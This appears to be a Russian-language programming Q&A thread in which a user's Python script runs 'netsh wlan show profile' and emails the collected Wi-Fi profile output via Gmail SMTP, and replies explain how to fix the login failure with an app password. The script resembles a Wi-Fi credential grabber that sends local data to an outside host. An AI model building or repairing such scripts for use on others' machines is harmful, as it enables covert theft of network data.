Я включил «менее безопасные приложения», но все еще получаю эту ошибку. Пароль и логин верны
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
comand = "netsh wlan show profile"
result = subprocess.check_output(comand, shell=True)
send_mail("my email", "my password", result)
Traceback (most recent call last):
File "d:/asdasd/main.py", line 12, in <module>
send_mail("my email", "my password", result)
File "d:/asdasd/main.py", line 6, in send_mail
server.login(email, password)
File "C:\Python27\lib\smtplib.py", line 623, in login
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, '5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials b3-20020a056512304300b004488e49f2fasm2187075lfb.129 - gsmtp')
Вам нужно создать пароль приложения в учетной записи Google.
просто погуглите "пароль приложения gmail"
БР
Для gmail, support.google.com/mail/answer/185833?hl=ru, вам нужно создать там пароль приложения для вашего фляжного приложения, затем вы используете свой пароль приложения, который вы создали, а не пароль для самой учетной записи gmail
Для какого приложения я должен создать пароль? Для какого устройства?